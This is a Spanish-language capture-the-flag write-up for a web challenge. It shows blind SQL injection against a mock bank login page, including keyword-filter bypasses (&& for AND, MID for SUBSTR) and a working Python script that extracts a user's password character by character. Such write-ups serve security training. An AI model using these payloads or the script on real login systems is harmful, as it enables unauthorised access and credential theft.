Loki (Web 100): Blind SQL Injection

By @nogagmx

Descripcion:

Este es el sitio web del Banco CaptureBank que tienes que comprometer, trata  
de encontrar una vulnerabilidad en su Página de Acceso a tarjetahabientes y  
encuentra el password (que sera la flag) del usuario: jperez para acceder a su 
cuenta!

http://52.14.x.x:8005/login.php


Se presenta el login del tarjetahabiente como se muestra a continuaacion:





Si se ingresa el payload básico de SQLi (, ‘ or ‘1’=’1), la aplicación no la tomará en cuenta y responderá que el Usuario o la contraseña son incorrectos.




Al ingresar ‘ and ‘1’=’1, el sitio detectará la respuesta como un intento de ataque y marcará las palabras filtradas con una  [X]






Se prueban algunos payloads utilizados en el reto Blind de Hackdef Quals. Dado que la contraseña del usuario jperez es la flag y el formato es: FLAG{something_here}, se realiza el siguiente request: ' and ascii(substr(password,1,1)) = ‘70’
Al hacerlo, la respuesta nos muestra algunas de los queries filtrados: AND y SUBSTR/SUBSTRING





Algunas referencias en internet nos muestran bypasses para dichos queries bloqueados:

Con los bypasses detectados, podemos realizar requests y verificar el comportamiento del sitio. Como sabemos que la primera letra del password es `F`, si enviamos: ' %26%26 mid(password,1,1)='g' –  o ' %26%26 ascii(mid(password,1,1))=70 --, observamos que nos redirige al login… esta será nuestro request TRUE.



Y si colocamos algún otro carácter como por ejemplo: ' %26%26 mid(password,1,1)='g' --  o ' %26%26 ascii(mid(password,1,1))=71 --, el sitio nos dice que el usuario o la contraseña son incorrectos… nuestra respuesta FALSE.



Con este comportamiento detectado podemos hacer un un script y obtener la flag.


# -*- coding: utf-8 -*-
import requests
import urllib

URL = "http://192.168.1.69:8005/login.php"
cookies = {"PHPSESSID": "algi1mn3bfotsj87bmma697ng1"}
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Referer": "http://192.168.1.69/", "Upgrade-Insecure-Requests": "1"}
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$^&*()-=+{}'
username = "jperez"
pwd = ""
for i in range(1,40):
 for strg in charset:
  payload_1 = "' && MID(password," + str(i) + ", 1)='"+ strg + "' -- "
  data = {"username": username + payload_1 , "password": "fdf"}
  res = requests.post(URL, headers=headers, cookies=cookies, data=data)
  #print payload_1
  #print res.content
  if "Usuario o Contraseña Incorrectos" not in res.content:
   pwd += strg
   print pwd
   break;
print "[+] Password Found:" + pwd

Al correrlo obtenemos la Flag que es el password del tarjetahabiente jperez:


Comments